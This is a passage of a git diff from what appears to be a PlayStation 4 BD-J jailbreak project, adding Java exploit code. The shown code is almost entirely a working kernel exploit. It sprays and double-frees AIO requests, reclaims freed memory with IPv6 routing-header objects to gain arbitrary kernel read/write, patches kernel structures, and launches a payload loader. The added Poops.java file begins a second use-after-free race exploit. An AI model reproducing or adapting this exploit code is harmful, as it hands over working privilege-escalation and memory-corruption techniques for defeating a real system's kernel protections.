2)); + sb.append(" "); + } + } + + aioInfoAddr = buf.getLong((int)reqs2Off + 0x18); + + reqs1Addr = buf.getLong((int)reqs2Off + 0x10); + reqs1Addr = reqs1Addr & (~0xffL); + + fakeReqs3Addr = kbufAddr + fakeReqs3Off + reqs3Offset; + + + + targetId = -1; + long toCancel = -1; + int toCancelLen = -1; + + for (int i = 0; i < leakIdsLen; i += numElems) { + Helper.aioMultiCancel(leakIds.address() + i*4, numElems, Helper.AIO_ERRORS.address()); + Helper.getRthdr(sd, buf, bufLen); + + int state = buf.getInt((int)reqs2Off + 0x38); + if (state == Helper.AIO_STATE_ABORTED) { + targetId = leakIds.getInt(i*4); + leakIds.putInt(i*4, 0); + + int start = i + numElems; + toCancel = leakIds.address() + start*4; + toCancelLen = leakIdsLen - start; + + break; + } + } + + if (targetId == -1) { + throw new RuntimeException("Target id not found"); + } + + Helper.cancelAios(toCancel, toCancelLen); + Helper.freeAios(leakIds.address(), leakIdsLen, false); + + return true; + + } catch (Exception e) { + return false; + } + } + + // STAGE 3: Double free reqs1 + public static int[] executeStage3(int aliasedSd) { + + int maxLeakLen = (0xff + 1) << 3; + Buffer buf = new Buffer(maxLeakLen); + + int numElems = Helper.MAX_AIO_IDS; + Buffer aioReqs = Helper.createAioRequests(numElems); + + int numBatches = 2; + int aioIdsLen = numBatches * numElems; + Buffer aioIds = new Buffer(4 * aioIdsLen); + + boolean aioNotFound = true; + + Helper.freeEvf(evf); + + for (int i = 1; i <= NUM_CLOBBERS; i++) { + sprayAio(numBatches, aioReqs.address(), numElems, aioIds.address(), true, Helper.AIO_CMD_READ); + + int sizeRet = Helper.getRthdr(aliasedSd, buf, maxLeakLen); + int cmd = buf.getInt(0); + + if (sizeRet == 8 && cmd == Helper.AIO_CMD_READ) { + aioNotFound = false; + Helper.cancelAios(aioIds.address(), aioIdsLen); + break; + } + + Helper.freeAios(aioIds.address(), aioIdsLen, true); + } + + if (aioNotFound) { + return null; + } + + int reqs2Size = 0x80; + Buffer reqs2 = new Buffer(reqs2Size); + reqs2.fill((byte)0); + + int rsize = Helper.buildRoutingHeader(reqs2, reqs2Size); + + reqs2.putInt(4, 5); // .ar2_ticket + reqs2.putLong(0x18, reqs1Addr); // .ar2_info + reqs2.putLong(0x20, fakeReqs3Addr); // .ar2_batch + + Buffer states = new Buffer(4 * numElems); + long[] addrCache = new long[numBatches]; + for (int i = 0; i < numBatches; i++) { + addrCache[i] = aioIds.address() + (i * numElems * 4); + } + + + Helper.syscall(Helper.SYS_CLOSE, (long)aliasedSd); + + int reqId = overwriteAioEntryWithRthdr(sockets, reqs2, rsize, addrCache, numElems, states, aioIds.address()); + + if (reqId == -1) { + return null; + } + + Helper.freeAios(aioIds.address(), aioIdsLen, false); + + Buffer targetIdBuf = new Buffer(4); + targetIdBuf.putInt(0, targetId); + + Helper.aioMultiPoll(targetIdBuf.address(), 1, states.address()); + + int pktoptsFreed = 0; + for (int i = 0; i < socketsAlt.length; i++) { + if (socketsAlt[i] >= 0) { + try { + Helper.setSockOpt(socketsAlt[i], Helper.IPPROTO_IPV6, Helper.IPV6_2292PKTOPTIONS, new Buffer(1), 0); + pktoptsFreed++; + } catch (Exception e) { + } + } + } + + Buffer sceErrs = new Buffer(8); + sceErrs.putInt(0, -1); + sceErrs.putInt(4, -1); + + Buffer targetIds = new Buffer(8); + targetIds.putInt(0, reqId); + targetIds.putInt(4, targetId); + + + Helper.aioMultiDelete(targetIds.address(), 2, sceErrs.address()); + + + int[] sdPair = null; + try { + sdPair = makeAliasedPktopts(socketsAlt); + if (sdPair != null) { + } else { + } + } catch (Exception e) { + } + + int err1 = sceErrs.getInt(0); + int err2 = sceErrs.getInt(4); + + states.putInt(0, -1); + states.putInt(4, -1); + + Helper.aioMultiPoll(targetIds.address(), 2, states.address()); + + if (states.getInt(0) != Helper.SCE_KERNEL_ERROR_ESRCH) { + return null; + } + if (err1 != 0 || err1 != err2) { + return null; + } + + if (sdPair == null) { + return null; + } + + return sdPair; + } + + private static void sprayAio(int loops, long reqs1, int numReqs, long ids, boolean multi, int cmd) { + if (cmd == 0) cmd = Helper.AIO_CMD_READ; + + int step = 4 * (multi ? numReqs : 1); + cmd = cmd | (multi ? Helper.AIO_CMD_FLAG_MULTI : 0); + + for (int i = 0; i < loops; i++) { + long currentIds = ids + (i * step); + Helper.aioSubmitCmd(cmd, reqs1, numReqs, Helper.AIO_PRIORITY_HIGH, currentIds); + } + } + + private static int overwriteAioEntryWithRthdr(int[] sds, Buffer reqs2, int rsize, + long[] addrCache, int numElems, Buffer states, long aioIdsBase) { + + for (int i = 1; i <= NUM_ALIAS; i++) { + + int rthdrsSet = 0; + for (int j = 0; j < NUM_SDS && j < sds.length; j++) { + if (sds[j] >= 0) { + Helper.setRthdr(sds[j], reqs2, rsize); + rthdrsSet++; + } + } + + if (rthdrsSet == 0) { + break; + } + + for (int batch = 1; batch <= addrCache.length; batch++) { + int batchJava = batch - 1; + + try { + for (int j = 0; j < numElems; j++) { + states.putInt(j * 4, -1); + } + + Helper.aioMultiCancel(addrCache[batchJava], numElems, states.address()); + + int reqIdx = -1; + for (int j = 0; j < numElems; j++) { + int val = states.getInt(j * 4); + if (val == Helper.AIO_STATE_COMPLETE) { + reqIdx = j; + break; + } + } + + if (reqIdx != -1) { + + int aioIdx = (batch - 1) * numElems + reqIdx; + long reqIdP = aioIdsBase + aioIdx * 4; + + int reqId = api.read32(reqIdP); + + + Helper.aioMultiPoll(reqIdP, 1, states.address()); + + // Clear the request ID + api.write32(reqIdP, 0); + + return reqId; + } + + } catch (Exception e) { + } + } + } + + return -1; + } + + // STAGE 4: Get arbitrary kernel read/write + public static boolean executeStage4(int[] pktoptsSds, long k100Addr, long kernelAddr, + int[] sds, int[] sdsAlt, long aioInfoAddr) { + + int masterSock = pktoptsSds[0]; + Buffer tclass = new Buffer(4); + int offTclass = KernelOffset.PS4_OFF_TCLASS; + + int pktoptsSize = 0x100; + Buffer pktopts = new Buffer(pktoptsSize); + int rsize = Helper.buildRoutingHeader(pktopts, pktoptsSize); + long pktinfoP = k100Addr + 0x10; + + // pktopts.ip6po_pktinfo = &pktopts.ip6po_pktinfo + pktopts.putLong(0x10, pktinfoP); + + int reclaimSock = -1; + + Helper.syscall(Helper.SYS_CLOSE, (long)pktoptsSds[1]); + + for (int i = 1; i <= NUM_ALIAS; i++) { + for (int j = 0; j < sdsAlt.length; j++) { + if (sdsAlt[j] >= 0) { + int marker = 0x4141 | ((j + 1) << 16); + pktopts.putInt(offTclass, marker); + Helper.setRthdr(sdsAlt[j], pktopts, rsize); + } + } + + Helper.getSockOpt(masterSock, Helper.IPPROTO_IPV6, Helper.IPV6_TCLASS, tclass, 4); + int marker = tclass.getInt(0); + if ((marker & 0xffff) == 0x4141) { + int idx = (marker >>> 16) - 1; + if (idx >= 0 && idx < sdsAlt.length) { + reclaimSock = sdsAlt[idx]; + Helper.removeSocketFromArray(sdsAlt, idx); + break; + } + } + } + + if (reclaimSock == -1) { + return false; + } + + int pktinfoLen = 0x14; + Buffer pktinfo = new Buffer(pktinfoLen); + pktinfo.putLong(0, pktinfoP); + + Buffer readBuf = new Buffer(8); + + // Slow kernel read implementation + + // Test read the "evf cv" string + long testValue = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, kernelAddr); + String testStr = Helper.extractStringFromBuffer(readBuf); + + if (!"evf cv".equals(testStr)) { + return false; + } + + // Find curproc from previously freed aio_info using correct offset + long curproc = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, aioInfoAddr + 8); + + if ((curproc >>> 48) != 0xffff) { + return false; + } + + // Verify curproc by checking PID with correct offset + long possiblePid = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, curproc + KernelOffset.PROC_PID); + long currentPid = Helper.syscall(Helper.SYS_GETPID); + + if ((possiblePid & 0xffffffffL) != currentPid) { + return false; + } + + // Store kernel addresses + Kernel.addr.curproc = curproc; + Kernel.addr.insideKdata = kernelAddr; + + // Use slow kernel read for address resolution + long curprocFd = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, curproc + KernelOffset.PROC_FD); + long curprocOfiles = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, curprocFd) + KernelOffset.FILEDESC_OFILES; + + // Create worker socket for fast R/W + int workerSock = Helper.createUdpSocket(); + Buffer workerPktinfo = new Buffer(pktinfoLen); + + // Create pktopts on worker_sock + Helper.setSockOpt(workerSock, Helper.IPPROTO_IPV6, Helper.IPV6_PKTINFO, workerPktinfo, pktinfoLen); + + // Get worker socket's pktopts address using slow read + long workerFdData = Kernel.getFdDataAddrSlow(masterSock, pktinfo, pktinfoLen, readBuf, workerSock, curprocOfiles); + long workerPcb = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, workerFdData + KernelOffset.SO_PCB); + long workerPktopts = Kernel.slowKread8(masterSock, pktinfo, pktinfoLen, readBuf, workerPcb + KernelOffset.INPCB_PKTOPTS); + + // Initialize fast kernel R/W + kernelRW = new Kernel.KernelRW(masterSock, workerSock, curprocOfiles); + kernelRW.setupPktinfo(workerPktopts); + + Kernel.setKernelAddresses(curproc, curprocOfiles, kernelAddr, 0); + + // Fix corrupt pointers + int offIp6poRthdr = KernelOffset.PS4_OFF_IP6PO_RTHDR; + + // Fix rthdr pointers for all sockets + for (int i = 0; i < sds.length; i++) { + if (sds[i] >= 0) { + long sockPktopts = kernelRW.getSockPktopts(sds[i]); + kernelRW.kwrite8(sockPktopts + offIp6poRthdr, 0); + } + } + + long reclaimerPktopts = kernelRW.getSockPktopts(reclaimSock); + kernelRW.kwrite8(reclaimerPktopts + offIp6poRthdr, 0); + + long workerPktoptsAddr = kernelRW.getSockPktopts(workerSock); + kernelRW.kwrite8(workerPktoptsAddr + offIp6poRthdr, 0); + + // Increase ref counts - only for sockets we actually have + int[] sockIncreaseRef = {masterSock, workerSock, reclaimSock}; + + for (int i = 0; i < sockIncreaseRef.length; i++) { + long sockAddr = kernelRW.getFdDataAddr(sockIncreaseRef[i]); + kernelRW.kwrite32(sockAddr + 0x0, 0x100); // so_count + } + + return true; + + } + + // Cleanup function + public static void cleanup() { + + try { + // Close socketpair + if (blockFd >= 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)blockFd); + blockFd = -1; + } + if (unblockFd >= 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)unblockFd); + unblockFd = -1; + } + + // Free grooming AIOs + if (groomIds != null) { + Buffer errors = new Buffer(4 * Helper.MAX_AIO_IDS); + + for (int i = 0; i < NUM_GROOMS; i += Helper.MAX_AIO_IDS) { + int batchSize = Math.min(Helper.MAX_AIO_IDS, NUM_GROOMS - i); + Buffer batchIds = new Buffer(4 * batchSize); + + for (int j = 0; j < batchSize; j++) { + batchIds.putInt(j * 4, groomIds[i + j]); + } + + // Poll and delete (no cancel - free_aios2 pattern) + Helper.aioMultiPoll(batchIds.address(), batchSize, errors.address()); + Helper.aioMultiDelete(batchIds.address(), batchSize, errors.address()); + } + groomIds = null; + } + + // Unblock and delete blocking AIO + if (blockId >= 0) { + Buffer blockIdBuf = new Buffer(4); + blockIdBuf.putInt(0, blockId); + Buffer blockErrors = new Buffer(4); + + Helper.aioMultiWait(blockIdBuf.address(), 1, blockErrors.address(), 1, 0L); + Helper.aioMultiDelete(blockIdBuf.address(), 1, blockErrors.address()); + blockId = -1; + } + + // Close sockets + if (sockets != null) { + for (int i = 0; i < sockets.length; i++) { + if (sockets[i] >= 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)sockets[i]); + sockets[i] = -1; + } + } + sockets = null; + } + + // Close socketsAlt + if (socketsAlt != null) { + for (int i = 0; i < socketsAlt.length; i++) { + if (socketsAlt[i] >= 0) { + Helper.syscall(Helper.SYS_CLOSE, (long)socketsAlt[i]); + socketsAlt[i] = -1; + } + } + socketsAlt = null; + } + + // Restore previous core + if (previousCore >= 0) { + Helper.pinToCore(previousCore); + previousCore = -1; + } + + // Reset kernel state + if (Kernel.addr != null) { + Kernel.addr.reset(); + } + kernelRW = null; + + } catch (Exception e) { + } + } + + public static int main(PrintStream cons) { + console = cons; + try { + initializeExploit(); + + if (Helper.isJailbroken()) { + NativeInvoke.sendNotificationRequest("Already Jailbroken"); + return 0; + } + + if (!performSetup()) { + cleanup(); + return -3; + } + + // Create socketsAlt for stages + socketsAlt = new int[NUM_SDS_ALT]; + for (int i = 0; i < NUM_SDS_ALT; i++) { + socketsAlt[i] = Helper.createUdpSocket(); + } + + int[] aliasedPair = executeStage1(); + if (aliasedPair == null) { + cleanup(); + return -4; + } + + if (!executeStage2(aliasedPair)) { + cleanup(); + return -5; + } + + int[] pktoptsSds = executeStage3(aliasedPair[0]); + if (pktoptsSds == null) { + cleanup(); + return -6; + } + Helper.syscall(Helper.SYS_CLOSE, (long)fakeReqs3Sd); + + if (!executeStage4(pktoptsSds, reqs1Addr, kernelAddr, sockets, socketsAlt, aioInfoAddr)) { + cleanup(); + return -7; + } + + if (!Kernel.postExploitationPS4()) { + cleanup(); + return -8; + } + + cleanup(); + BinLoader.start(); + return 0; + + } catch (Exception e) { + cleanup(); + } + return -10; + } +} \ No newline at end of file diff --git a/src/org/bdj/external/Poops.java b/src/org/bdj/external/Poops.java new file mode 100644 index 0000000..3adc75a --- /dev/null +++ b/src/org/bdj/external/Poops.java @@ -0,0 +1,1078 @@ +package org.bdj.external; + +import java.util.*; +import java.io.*; + +import org.bdj.api.*; + +public class Poops { + // constants + private static final int AF_UNIX = 1; + private static final int AF_INET6 = 28; + private static final int SOCK_STREAM = 1; + private static final int IPPROTO_IPV6 = 41; + + private static final int IPV6_RTHDR = 51; + private static final int IPV6_RTHDR_TYPE_0 = 0; + private static final int UCRED_SIZE = 0x168; + private static final int MSG_HDR_SIZE = 0x30; + private static final int UIO_IOV_NUM = 0x14; + private static final int MSG_IOV_NUM = 0x17; + private static final int IOV_SIZE = 0x10; + + private static final int IPV6_SOCK_NUM = 128; + private static final int TWIN_TRIES = 15000; + private static final int UAF_TRIES = 50000; + private static final int KQUEUE_TRIES = 300000; + private static final int IOV_THREAD_NUM = 4; + private static final int UIO_THREAD_NUM = 4; + private static final int PIPEBUF_SIZE = 0x18; + + private static final int COMMAND_UIO_READ = 0; + private static final int COMMAND_UIO_WRITE = 1; + private static final int PAGE_SIZE = 0x4000; + private static final int FILEDESCENT_SIZE = 0x8; + + private static final int UIO_READ = 0; + private static final int UIO_WRITE = 1; + private static final int UIO_SYSSPACE = 1; + + private static final int NET_CONTROL_NETEVENT_SET_QUEUE = 0x20000003; + private static final int NET_CONTROL_NETEVENT_CLEAR_QUEUE = 0x20000007; + private static final int RTHDR_TAG = 0x13370000; + + private static final int SOL_SOCKET = 0xffff; + private static final int SO_SNDBUF = 0x1001; + + private static final int F_SETFL = 4; + private static final int O_NONBLOCK = 4; + + // system methods + private static long dup; + private static long close; + private static long read; + private static long readv; + private static long write; + private static long writev; + private static long ioctl; + private static long fcntl; + private static long pipe; + private static long kqueue; + private static long socket; + private static long socketpair; + private static long recvmsg; + private static long getsockopt; + private static long setsockopt; + private static long setuid; + private static long getpid; + private static long sched_yield; + private static long cpuset_setaffinity; + private static long __sys_netcontrol; + + // ploit data + private static Buffer leakRthdr = new Buffer(UCRED_SIZE); + private static Int32 leakRthdrLen = new Int32(); + private static Buffer sprayRthdr = new Buffer(UCRED_SIZE); + private static Buffer msg = new Buffer(MSG_HDR_SIZE); + private static int sprayRthdrLen; + private static Buffer msgIov = new Buffer(MSG_IOV_NUM * IOV_SIZE); + private static Buffer dummyBuffer = new Buffer(0x1000); + private static Buffer tmp = new Buffer(PAGE_SIZE); + private static Buffer victimPipebuf = new Buffer(PIPEBUF_SIZE); + private static Buffer uioIovRead = new Buffer(UIO_IOV_NUM * IOV_SIZE); + private static Buffer uioIovWrite = new Buffer(UIO_IOV_NUM * IOV_SIZE); + + private static Int32Array uioSs = new Int32Array(2); + private static Int32Array iovSs = new Int32Array(2); + + private static IovThread[] iovThreads = new IovThread[IOV_THREAD_NUM]; + private static UioThread[] uioThreads = new UioThread[UIO_THREAD_NUM]; + + private static WorkerState iovState = new WorkerState(IOV_THREAD_NUM); + private static WorkerState uioState = new WorkerState(UIO_THREAD_NUM); + + private static int uafSock; + + private static int uioSs0; + private static int uioSs1; + + private static int iovSs0; + private static int iovSs1; + + private static long kl_lock; + private static long kq_fdp; + private static long fdt_ofiles; + private static long allproc; + + private static int[] twins = new int[2]; + private static int[] triplets = new int[3]; + private static int[] ipv6Socks = new int[IPV6_SOCK_NUM]; + + private static Int32Array masterPipeFd = new Int32Array(2); + private static Int32Array victimPipeFd = new Int32Array(2); + + private static int masterRpipeFd; + private static int masterWpipeFd; + private static int victimRpipeFd; + private static int victimWpipeFd; + + // misc data + private static int previousCore = -1; + + private static Kernel.KernelRW kernelRW; + + private static PrintStream console; + + private static long kBase; + + private static API api; + + // sys methods + private static int dup(int fd) { + return (int) Helper.api.call(dup, fd); + } + + private static int close(int fd) { + return (int) Helper.api.call(close, fd); + } + + private static long read(int fd, Buffer buf, long nbytes) { + return Helper.api.call(read, fd, buf != null ? buf.address() : 0, nbytes); + } + + private static long readv(int fd, Buffer iov, int iovcnt) { + return Helper.api.call(readv, fd, iov != null ? iov.address() : 0, iovcnt); + } + + private static long write(int fd, Buffer buf, long nbytes) { + return Helper.api.call(write, fd, buf != null ? buf.address() : 0, nbytes); + } + + private static long writev(int fd, Buffer iov, int iovcnt) { + return Helper.api.call(writev, fd, iov != null ? iov.address() : 0, iovcnt); + } + + private static int ioctl(int fd, long request, long arg0) { + return (int) Helper.api.call(ioctl, fd, request, arg0); + } + + private static int fcntl(int fd, int cmd, long arg0) { + return (int) Helper.api.call(fcntl, fd, cmd, arg0); + } + + private static int pipe(Int32Array fildes) { + return (int) Helper.api.call(pipe, fildes != null ? fildes.address() : 0); + } + + private static int kqueue() { + return (int) Helper.api.call(kqueue); + } + + private static int socket(int domain, int type, int protocol) { + return (int) Helper.api.call(socket, domain, type, protocol); + } + + private static int socketpair(int domain, int type, int protocol, Int32Array sv) { + return (int) Helper.api.call(socketpair, domain, type, protocol, sv != null ? sv.address() : 0); + } + + private static int recvmsg(int s, Buffer msg, int flags) { + return (int) Helper.api.call(recvmsg, s, msg != null ? msg.address() : 0, flags); + } + + private static int getsockopt(int s, int level, int optname, Buffer optval, Int32 optlen) { + return (int) Helper.api.call(getsockopt, s, level, optname, optval != null ? optval.address() : 0, optlen != null ? optlen.address() : 0); + } + + private static int setsockopt(int s, int level, int optname, Buffer optval, int optlen) { + return (int) Helper.api.call(setsockopt, s, level, optname, optval != null ? optval.address() : 0, optlen); + } + + private static int setuid(int uid) { + return (int) Helper.api.call(setuid, uid); + } + + private static int getpid() { + return (int) Helper.api.call(getpid); + } + + private static int sched_yield() { + return (int) Helper.api.call(sched_yield); + } + + private static int __sys_netcontrol(int ifindex, int cmd, Buffer buf, int size) { + return (int) Helper.api.call(__sys_netcontrol, ifindex, cmd, buf != null ? buf.address() : 0, size); + } + + private static int cpusetSetAffinity(int core) { + Buffer mask = new Buffer(0x10); + mask.putShort(0x00, (short) (1 << core)); + return cpuset_setaffinity(3, 1, 0xFFFFFFFFFFFFFFFFL, 0x10, mask); + } + + private static int cpuset_setaffinity(int level, int which, long id, long setsize, Buffer mask) { + return (int)api.call(cpuset_setaffinity, level, which, id, setsize, mask != null ? mask.address() : 0); + } + + public static void cleanup() { + for (int i = 0; i < ipv6Socks.length; i++) { + close(ipv6Socks[i]); + } + close(uioSs1); + close(uioSs0); + close(iovSs1); + close(iovSs0); + for (int i = 0; i < IOV_THREAD_NUM; i++) { + if (iovThreads[i] != null) { + iovThreads[i].interrupt(); + try { + iovThreads[i].join(); + } catch (Exception e) {} + } + } + for (int i = 0; i < UIO_THREAD_NUM; i++) { + if (iovThreads[i] != null) { + uioThreads[i].interrupt(); + try { + uioThreads[i].join(); + } catch (Exception e) {} + } + } + if (previousCore >= 0 && previousCore != 4) { + //console.println("back to core " + previousCore); + Helper.pinToCore(previousCore); + previousCore = -1; + } + } + + private static int buildRthdr(Buffer buf, int size) { + int len = ((size >> 3) - 1) & ~1; + buf.putByte(0x00, (byte) 0); // ip6r_nxt + buf.putByte(0x01, (byte) len); // ip6r_len + buf.putByte(0x02, (byte) IPV6_RTHDR_TYPE_0); // ip6r_type + buf.putByte(0x03, (byte) (len >> 1)); // ip6r_segleft + return (len + 1) << 3; + } + + private static int getRthdr(int s, Buffer buf, Int32 len) { + return getsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + } + + private static int setRthdr(int s, Buffer buf, int len) { + return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, buf, len); + } + + private static int freeRthdr(int s) { + return setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, null, 0); + } + + private static void buildUio(Buffer uio, long uio_iov, long uio_td, boolean read, long addr, long size) { + uio.putLong(0x00, uio_iov); // uio_iov + uio.putLong(0x08, UIO_IOV_NUM); // uio_iovcnt + uio.putLong(0x10, 0xFFFFFFFFFFFFFFFFL); // uio_offset + uio.putLong(0x18, size); // uio_resid + uio.putInt(0x20, UIO_SYSSPACE); // uio_segflg + uio.putInt(0x24, read ? UIO_WRITE : UIO_READ); // uio_segflg + uio.putLong(0x28, uio_td); // uio_td + uio.putLong(0x30, addr); // iov_base + uio.putLong(0x38, size); // iov_len + } + + private static Buffer kreadSlow(long addr, int size) { + Buffer[] leakBuffers = new Buffer[UIO_THREAD_NUM]; + for (int i = 0; i < UIO_THREAD_NUM; i++) { + leakBuffers[i] = new Buffer(size); + } + Int32 bufSize = new Int32(size); + setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size()); + write(uioSs1, tmp, size); + uioIovRead.putLong(0x08, size); + freeRthdr(ipv6Socks[triplets[1]]); + while (true) { + uioState.signalWork(COMMAND_UIO_READ); + sched_yield(); + leakRthdrLen.set(0x10); + getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) { + break; + } + read(uioSs0, tmp, size); + for (int i = 0; i < UIO_THREAD_NUM; i++) { + read(uioSs0, leakBuffers[i], leakBuffers[i].size()); + } + uioState.waitForFinished(); + write(uioSs1, tmp, size); + } + long uio_iov = leakRthdr.getLong(0x00); + buildUio(msgIov, uio_iov, 0, true, addr, size); + freeRthdr(ipv6Socks[triplets[2]]); + while (true) { + iovState.signalWork(0); + sched_yield(); + leakRthdrLen.set(0x40); + getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) { + break; + } + write(iovSs1, tmp, Int8.SIZE); + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + } + read(uioSs0, tmp, size); + Buffer leakBuffer = null; + for (int i = 0; i < UIO_THREAD_NUM; i++) { + read(uioSs0, leakBuffers[i], leakBuffers[i].size()); + if (leakBuffers[i].getLong(0x00) != 0x4141414141414141L) { + triplets[1] = findTriplet(triplets[0], -1, UAF_TRIES); + if (triplets[1] == -1) + { + console.println("kreadSlow triplet failure 1"); + return null; + } + leakBuffer = leakBuffers[i]; + } + } + uioState.waitForFinished(); + write(iovSs1, tmp, Int8.SIZE); + triplets[2] = findTriplet(triplets[0], triplets[1], UAF_TRIES); + if (triplets[2] == -1) + { + console.println("kreadSlow triplet failure 2"); + return null; + } + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + return leakBuffer; + } + + private static boolean kwriteSlow(long addr, Buffer buffer) { + Int32 bufSize = new Int32(buffer.size()); + setsockopt(uioSs1, SOL_SOCKET, SO_SNDBUF, bufSize, bufSize.size()); + uioIovWrite.putLong(0x08, buffer.size()); + freeRthdr(ipv6Socks[triplets[1]]); + while (true) { + uioState.signalWork(COMMAND_UIO_WRITE); + sched_yield(); + leakRthdrLen.set(0x10); + getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getInt(0x08) == UIO_IOV_NUM) { + break; + } + for (int i = 0; i < UIO_THREAD_NUM; i++) { + write(uioSs1, buffer, buffer.size()); + } + uioState.waitForFinished(); + } + long uio_iov = leakRthdr.getLong(0x00); + buildUio(msgIov, uio_iov, 0, false, addr, buffer.size()); + freeRthdr(ipv6Socks[triplets[2]]); + while (true) { + iovState.signalWork(0); + sched_yield(); + leakRthdrLen.set(0x40); + getRthdr(ipv6Socks[triplets[0]], leakRthdr, leakRthdrLen); + if (leakRthdr.getInt(0x20) == UIO_SYSSPACE) { + break; + } + write(iovSs1, tmp, Int8.SIZE); + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + } + for (int i = 0; i < UIO_THREAD_NUM; i++) { + write(uioSs1, buffer, buffer.size()); + } + triplets[1] = findTriplet(triplets[0], -1, UAF_TRIES); + if (triplets[1] == -1) + { + console.println("kwriteSlow triplet failure 1"); + return false; + } + uioState.waitForFinished(); + write(iovSs1, tmp, Int8.SIZE); + triplets[2] = findTriplet(triplets[0], triplets[1], UAF_TRIES); + if (triplets[2] == -1) + { + console.println("kwriteSlow triplet failure 2"); + return false; + } + iovState.waitForFinished(); + read(iovSs0, tmp, Int8.SIZE); + return true; + } + + public static boolean performSetup() { + try { + api = API.getInstance(); + + dup = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "dup"); + close = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "close"); + read = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "read"); + readv = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "readv"); + write = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "write"); + writev = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "writev"); + ioctl = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "ioctl"); + fcntl = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "fcntl"); + pipe = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "pipe"); + kqueue = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "kqueue"); + socket = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "socket"); + socketpair = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "socketpair"); + recvmsg = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "recvmsg"); + getsockopt = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "getsockopt"); + setsockopt = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "setsockopt"); + setuid = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "setuid"); + getpid = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "getpid"); + sched_yield = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "sched_yield"); + cpuset_setaffinity = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "cpuset_setaffinity"); + __sys_netcontrol = Helper.api.dlsym(Helper.api.LIBKERNEL_MODULE_HANDLE, "__sys_netcontrol"); + if (dup == 0 || close == 0 || read == 0 || readv == 0 || write == 0 || writev == 0 || ioctl == 0 || fcntl == 0 || pipe == 0 || kqueue == 0 || socket == 0 || socketpair == 0 || + recvmsg == 0 || getsockopt == 0 || setsockopt == 0 || setuid == 0 || getpid == 0 || sched_yield == 0 || __sys_netcontrol == 0 || cpuset_setaffinity == 0) { + console.println("failed to resolve symbols"); + return false; + } + + // Prepare spray buffer. + sprayRthdrLen = buildRthdr(sprayRthdr, UCRED_SIZE); + + // Prepare msg iov buffer. + msg.putLong(0x10, msgIov.address()); // msg_iov + msg.putLong(0x18, MSG_IOV_NUM); // msg_iovlen + + dummyBuffer.fill((byte) 0x41); + uioIovRead.putLong(0x00, dummyBuffer.address()); + uioIovWrite.putLong(0x00, dummyBuffer.address()); + + // affinity + previousCore = Helper.getCurrentCore(); + + if (cpusetSetAffinity(4) != 0) { + console.println("failed to pin to core"); + return false; + } + + if (!Helper.setRealtimePriority(256)) { + console.println("failed realtime priority"); + return false; + } + + // Create socket pair for uio spraying. + socketpair(AF_UNIX, SOCK_STREAM, 0, uioSs); + uioSs0 = uioSs.get(0); + uioSs1 = uioSs.get(1); + + // Create socket pair for iov spraying. + socketpair(AF_UNIX, SOCK_STREAM, 0, iovSs); + iovSs0 = iovSs.get(0); + iovSs1 = iovSs.get(1); + + // Create iov threads. + for (int i = 0; i < IOV_THREAD_NUM; i++) { + iovThreads[i] = new IovThread(iovState); + iovThreads[i].start(); + } + + // Create uio threads. + for (int i = 0; i < UIO_THREAD_NUM; i++) { + uioThreads[i] = new UioThread(uioState); + uioThreads[i].start(); + } + + // Set up sockets for spraying. + for (int i = 0; i < ipv6Socks.length; i++) { + ipv6Socks[i] = socket(AF_INET6, SOCK_STREAM, 0); + } + + // Initialize pktopts. + for (int i = 0; i < ipv6Socks.length; i++) { + freeRthdr(ipv6Socks[i]); + } + + // init pipes + pipe(masterPipeFd); + pipe(victimPipeFd); + + masterRpipeFd = masterPipeFd.get(0); + masterWpipeFd = masterPipeFd.get(1); + victimRpipeFd = victimPipeFd.get(0); + victimWpipeFd = victimPipeFd.get(1); + + fcntl(masterRpipeFd, F_SETFL, O_NONBLOCK); + fcntl(masterWpipeFd, F_SETFL, O_NONBLOCK); + fcntl(victimRpipeFd, F_SETFL, O_NONBLOCK); + fcntl(victimWpipeFd, F_SETFL, O_NONBLOCK); + + return true; + } catch (Exception e) { + 